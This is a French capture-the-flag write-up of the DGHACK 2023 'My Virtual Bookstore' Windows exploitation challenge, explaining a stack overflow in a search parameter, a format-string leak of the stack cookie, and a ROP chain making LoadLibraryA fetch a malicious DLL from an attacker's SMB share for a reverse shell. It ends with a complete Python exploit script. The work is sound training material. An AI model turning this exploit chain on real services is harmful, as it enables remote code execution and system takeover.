[DGHACK 2023] - My Virtual Bookstore

Description
Ce challenge est issu du DGHACK 2023, organisé par la DGA.
My Virtual Book Store
est un challenge d’exploitation de binaire sur Windows. Le but est d’exploiter un service hĂ©bergĂ© sur une machine Windows accessible avec un VPN, et d’en prendre le contrĂŽle.
CatĂ©gorie : Exploitation đŁ
Difficulté : Difficile
Protections : ASLR, NX, Stack Canary
TL;DR
- Exploitation d’un service web utilisant la librairie
libmicrohttpd
sur une machine Windows distante accessible Ă travers un VPN - Exploitation d’un Stack Based Buffer Overflow dans le mauvais traitement d’un paramĂštre d’URL
- Leak du stack cookie, d’une adresse du binaire et d’une adresse de stack grĂące Ă un format strings bug causĂ© par la mauvaise utilisation de la fonction
snprintf
dans un champs de formulaire - ExĂ©cution de code arbitraire Ă l’aide d’une ROP chain sur
LoadLibraryA
permettant le chargement arbitraire d’une DLL Ă distance
Analyse de l’environnement
La machine cible Ă exploiter est une machine Windows distante, accessible via une connexion VPN. Seuls les ports standard des serveurs Windows sont ouverts, Ă savoir tcp/443
et tcp/135
, utilisés respectivement pour les services MS-RPC
et SMB
, ainsi que le port 80
, sur lequel un service web est en fonctionnement.
Lorsque l’on tente d’accĂ©der au port 80
on obtient cette page web :
Les ressources mises Ă disposition sont :
- Le binaire
mvb_backend.exe
et ses DLLs - Une version portable de
Nginx
ainsi que sa configuration - Un fichier
.bat
qui lance l’environnement
Le serveur Nginx est configuré en reverse proxy et redirige tout le trafic de la route /api/
vers le binaire mvb_backend.exe
, qui écoute sur le port tcp/8888
.
# Route to mvb_backend.exe
location /api/ {
proxy_pass http://127.0.0.1:8888/;
}
Tout semble indiquer que nous allons devoir chercher un moyen d’obtenir une exĂ©cution de code grĂące au service web exposĂ©, sur l’instance distante ! Il est assez rare de voir des challenges d’exploitation sur Windows, ce qui apporte un peu de nouveautĂ© !
Analyse du binaire
Cette application Web ressemble Ă une interface de gestion d’une bibliothĂšque virtuelle. Elle permet de rechercher des documents ainsi que de les tĂ©lĂ©charger. On peut Ă©galement y complĂ©ter son profile :
En ouvrant le binaire avec IDA, on peut remarquer que le backend utilise la lib libmicrohttpd
et que la plus parts des symboles sont présents, ce qui va nous faciliter la tùche lors de la recherche de vulnérabilités.
Initialisation
Le point dâentrĂ©e principal est la fonction main
, qui initialise un service Windows nommé "my_virtual_bookstore"
via le Service Manager, et le dĂ©marre Ă lâaide de StartServiceCtrlDispatcherA
. En cas dâĂ©chec (par exemple, si l’exĂ©cutable est lancĂ© manuellement), il dĂ©marre directement le serveur HTTP avec start_http_server
.
La fonction start_http_server
appelle initialize
, qui sâoccupe de parser les arguments de la ligne de commande, de dĂ©finir le port dâĂ©coute, et de prĂ©parer lâenvironnement de travail. Une ligne inhabituelle Ă attirĂ© mon lâattention :
LoadPlugin(1, 512, 16, 777, "\\\\10.8.0.50\\bookstore_plugins\\pdf_plugin.dll");
Cette fonction fait un appel Ă LoadLibraryA
et tente de charger une DLL via un partage de rĂ©seau SMB, pour charger des “plugins” supplĂ©mentaires. Bien que cette action ne soit pas essentielle au bon fonctionnement du serveur HTTP, elle peut constituer une surface dâattaque intĂ©ressante et nous verrons qu’elle pourra nous servir un peu plus tard !
Enfin, la fonction start_server
démarre un daemon libmicrohttpd
sur le port spĂ©cifiĂ©, en prĂ©cisant le callback utilisĂ© pour traiter chaque requĂȘte reçue :
MHD_start_daemon(
65545LL,
port,
0LL,
0LL,
(__int64)answer_to_connection, // Main handler callback
0LL,
4,
(__int64)request_completed,
0LL,
0
);
Gestions des requĂȘtes
La fonction answer_to_connection
constitue le cĆur de la gestion des routes. En fonction de la mĂ©thode HTTP (GET
ou POST
), elle redirige la requĂȘte vers les handlers appropriĂ©s.
Voici un petit résumé de toutes les routes accessibles :
Méthode GET
/download
: Permet de télécharger un fichier avec comme paramÚtrename
/search
: Permet de faire une recherche des fichiers avec comme paramĂštresearch
/profile
: Affiche les informations du profile
Méthode POST
/profile
: Met Ă jour les informations du profile Ă travers un formulaire
Dans chaque handler de route, un callback est enregistré via la fonction MHD_get_connection_values
de la bibliothĂšque libmicrohttpd
. Ce callback est invoquĂ© pour chaque paramĂštre prĂ©sent dans lâURL, ce qui permet d’en rĂ©cupĂ©rer la valeur ou de le traiter individuellement. Il doit respecter la signature suivante :
MHD_result __cdecl callback_example (void *cls, MHD_ValueKind kind, const char *key, const char *value)
Avec en paramĂštres :
void* cls
: Représentant un pointeur vers une structure de contexte pour sauvegarder les donnéesenum MHD_ValueKind kind
: Le type de valeur, généralementMHD_GET_ARGUMENT_KIND
pour les paramĂštres d’URLGET
const char* key
: Le nom du paramĂštreconst char* value
: La valeur du paramĂštre
Gestion des cookies et sessions
Le serveur HTTP utilise plusieurs structures internes pour gĂ©rer les sessions utilisateurs. Lorsquâune nouvelle connexion est Ă©tablie, une instance de la structure connection_info_struct
est allouĂ©e pour reprĂ©senter lâĂ©tat de la requĂȘte courante :
struct connection_info_struct
{
int connection_type;
GHashTable *parameters;
Session *session;
MHD_PostProcessor *postprocessor;
};
Avec les champs:
int connection_type
: Représentant le type de connexion (GET
ouPOST
)GHashTable *parameters
: Une hashtable contenant les paramĂštres de la requĂȘtePOST
en coursSession* session
: Qui est un pointeur vers une liste chainée de sessions utilisateursMHD_PostProcessor *postprocessor
: un postprocessorlibmicrohttpd
, utilisĂ© pour parser les donnĂ©es dâun formulairePOST
Ainsi chaque structure Session
contient le cookie de l’utilisateur connectĂ©, des donnĂ©es de timestamp et un pointeur vers une structure user_info_t
contenant les informations d’un utilisateur, enregistrĂ© grĂące Ă la route /profile
.
struct user_info_t
{
char *name;
char *language;
char *address;
char *email;
};
Recherche de vulnérabilités
Stack based buffer overflow
Cette premiÚre vulnérabilité a été découverte lors de tests sur le paramÚtre search
de la route /search
. En effet, lâenvoi dâune requĂȘte du type /search?search=AAAA...(x4096)
entraĂźne un crash du serveur.
En analysant le code, on constate que le problĂšme se situe dans la fonction handleSearch_param
appelé par handleSearch_Iterator
, utilisĂ©e comme callback pour rĂ©cupĂ©rer les donnĂ©es passĂ©es en paramĂštre dans lâURL, comme expliquĂ© prĂ©cĂ©demment.
bool __cdecl handleSearch_param(const char *param, GList *results)
{
char *outString;
size_t outLen;
GList *file_list;
char search_param[520];
file_list = result;
// URL decode search param in a dynamic allocated buffer
urldecode(param, 0LL, outString, outLen);
// memcpy() without bound check and controlled lenght in a stack buffer
memcpy(search_param, outString, outLen + 1); //<--- VULNERABILITY : Stack buffer overflow
free(outString);
printf("Read %zu chars: %s\n", outLen, outString);
do_search(search_param, file_list);
return 1;
}
Le chemin d’appel est le suivant :
GET /search?search=AAAAAA
âââ handleGet()
âââ handleSearch()
âââ handleSearch_Iterator()
âââ handleSearch_param()
Le contenu du paramĂštre search
est décodé, puis copié dans un buffer en stack sans vérification de taille. Le buffer search_param
Ă©tant situĂ© en bas de la stack, cela nous permet de ne pas Ă©craser d’autres donnĂ©es utilisĂ© par la fonction.
Pour éviter un nouveau crash dans la fonction do_search
, appelĂ©e immĂ©diatement aprĂšs, il est nĂ©cessaire dâajouter un octet nul afin de correctement terminer la chaĂźne de caractĂšres.
Cependant, cette fonction est protéger par un stack cookie. Le programme étant compilé avec MinGW gcc
, le stack cookie prĂ©sent dans cette fonction est le mĂȘme pour toutes les fonctions.
Nous devons donc trouver le moyen d’obtenir un leak permettant de dĂ©terminer la valeur de celui-ci !
Format string bug
Le second bug qui nous permet d’obtenir un leak de stack se situe dans la fonction my_copy
, appelĂ© lors de l’affichage du profile de l’utilisateur connectĂ© via la route /profile
.
GET /profile
âââ handleGet()
âââ user_get_profile()
âââ get_address_clean()
âââ my_copy()
âââ snprintf()
Cette fonction utilise la fonction snprintf
, passant en 3Ăšme argument une format string que l’on contrĂŽle Ă travers le champs user_info_t->address
, renseigné au préalable en envoyant le formulaire POST
sur la route /profile
.
char *__cdecl my_copy(char *src)
{
int formatted_size;
char *copy;
formatted_size = snprintf_1(0LL, 0LL, src) + 1;
copy = (char *)malloc(formatted_size);
snprintf_1(copy, formatted_size, src); // <--- Format String Bug
return copy;
}
Grùce à cette vulnérabilité, nous avons la possibilité de récupérer:
- la valeur du
stack_cookie
- Une adresse de l’exĂ©cutable permettant de contourner l’
ASLR
- Un pointeur de pointeur vers le champs
name
de la structureuser_info_t
qui nous servira plus tard
La taille du buffer d’affichage du champs address
Ă©tant limitĂ©, nous ne pouvons rĂ©cupĂ©rer qu’un maximum de 8 QWORDS
dans la stack.
Nous avons donc Ă disposition toutes les informations permettant d’exploiter notre buffer overflow !
Exploitation
Ne disposant pas dâun leak suffisant pour obtenir lâadresse dâune DLL systĂšme telle que Kernel32
ou Ntdll
, et Ă©tant dans un contexte dâexploitation distant, nous devons nous limiter au code dĂ©jĂ prĂ©sent dans le binaire.
Une piste intĂ©ressante mâest alors venue en repensant Ă cette ligne de code qui appelle LoadLibraryA
.
Et sâil Ă©tait possible de dĂ©tourner cet appel pour faire charger au programme une DLL arbitraire Ă distance ?
En effet, la fonction LoadLibraryA
accepte les chemins UNC
de la forme \\\\<remote_path>
, ce qui nous offre une belle primitive d’exĂ©cution !
GrĂące Ă la suite impackets
, nous pouvons créer un partage SMB
accessible sans mot de passe :
smbserver.py evil /home/user/Bureau/share -ip 0.0.0.0 -smb2support
Nous allons donc concevoir une ROP chain
qui va appeler LoadLibraryA
avec le chemin vers notre DLL hébergée sur notre partage.
Il nous suffit alors d’obtenir un pointeur vers une chaine de caractĂšre que l’on contrĂŽle, dans laquelle nous allons placer le chemin de notre DLL malveillante Ă charger. Heureusement, grĂące au leak de stack, nous avons obtenu un pointeur de pointeur vers le champs name
, de la structure user_info_t
.
Nous pouvons ainsi enregistrer le profile suivant permettant d’exploiter la format string, et de placer notre argument dans le champs name
pour l’appel Ă LoadLibraryA
:
SMB_SERVER = "\\\\192.168.13.3\\evil\\evil.dll"
def leak_data(s):
data = {
"name": SMB_SERVER,
"email":"root@gmail.com",
"language":"french", "address":"%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx"
}
s.post(URL + "/profile", data=data)
rep = s.get(URL + "/profile")
return rep.json()['address']
Ainsi, avec les gadgets présents dans le binaires, nous pouvons construire notre ROP chain
:
pop rax, ret
&user_info->name ; &user_info->name (char**)
mov rax, [rax], ret ; Dereferencing : rax â *(&user_info->name)
pop rsi, ret
@LoadLibraryA ; LoadLibraryA (Stub present in the binary)
mov rcx, rax, call rsi ; Call LoadLibraryA(user_info->name)
Un petit dĂ©tail nous empĂȘche d’envoyer notre payload correctement. En effet, on observe au debugger que les octets nuls ne passe pas bien.
Pour envoyer des données binaires en HTTP, il faut URL encoder notre payload grùce au caractÚre %
. Comme le serveur Nginx
décode une premiÚre fois, et que le backend décode manuellement octet par octet le payload, il faut double encoder les données pour que les octets nuls soient pris en compte !
from urllib.parse import quote as url_encode
def trigger_buffer_overflow(s, payload):
# Double URL encode
url_encoded = url_encode(url_encode(payload))
try:
s.get(URL + "/search?search=" + url_encoded)
print("[-] Payload sended, waiting for response ...")
except:
print("[-] Payload sended, waiting for response ...")
Flag
On prépare un netcat
et on lance notre exploit :
Si tout se passe bien, la machine Windows distante se connecte Ă notre partage SMB
pour charger la DLL, dans laquelle nous avons compilé un reverse shell :
Et nous obtenons notre shell en retour !
DGHACK{c44f1120-8740-42d0-acca-e242102c73bc}
Code
from urllib.parse import quote as url_encode
from pwn import *
import requests
PORT = 80
URL = f"http://192.168.13.6:{PORT}"
SMB_SERVER = "\\\\192.168.13.3\\evil\\evil.dll"
def leak_data(s):
data = {
"name": SMB_SERVER,
"email":"root@gmail.com",
"language":"french",
"address":"%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx.%llx"
}
s.post(URL + "/profile", data=data)
rep = s.get(URL + "/profile")
return rep.json()['address']
def set_session():
s = requests.Session()
s.get(URL)
return s
def auth(s, username):
s.post(URL + "/profile", data={"name": username})
rep = s.get(URL + "/profile")
return rep
def trigger_buffer_overflow(s, payload):
# Double URL encode needed
url_encoded = url_encode(url_encode(payload))
try:
s.get(URL + "/search?search=" + url_encoded)
log.info("Payload sended, waiting for response ...")
except:
log.info("Payload sended, waiting for response ...")
def main():
# Session init
session = set_session()
# First authentification
auth_info = auth(session, "ADMIN")
log.inf(f"Authentification : {auth_info.text}, {auth_info.cookies}")
# Leak data with format string bug in user_info_t->address field
memory_leak = leak_data(session)
log.info("Memory leak : " + memory_leak)
stack_cookie = int("0x" + memory_leak.split(".")[6], 16)
log.info("Leaked stack cookie : " + hex(stack_cookie))
base_address = int("0x" + memory_leak.split(".")[8], 16) - 0x2B45
log.info("Base address of mvb_backend.exe : " + hex(base_address))
LoadLibrary_stub = base_address + 0x2E6A
log.info("LoadLibraryA() stub address : " + hex(LoadLibrary_stub))
username_ptr = int("0x" + memory_leak.split(".")[14], 16)
log.info("&user_info_t->name : " + hex(username_ptr))
# Gadgets
pop_rax = base_address + 0x4d2c
mov_rax_to_rax = base_address + 0xed27
pop_rsi = base_address + 0x462c
mov_rcx_rax_call_rsi = base_address + 0xee84
# Payload + ROP Chain
payload = b"A"*15
payload += b"\x00"*5
payload += b"A"*500
payload += p64(stack_cookie)
payload += b"B"*8
payload += p64(pop_rax)
payload += p64(username_ptr)
payload += p64(mov_rax_to_rax)
payload += p64(pop_rsi)
payload += p64(LoadLibrary_stub)
payload += p64(mov_rcx_rax_call_rsi)
trigger_buffer_overflow(session, payload)
if __name__ == "__main__":
main()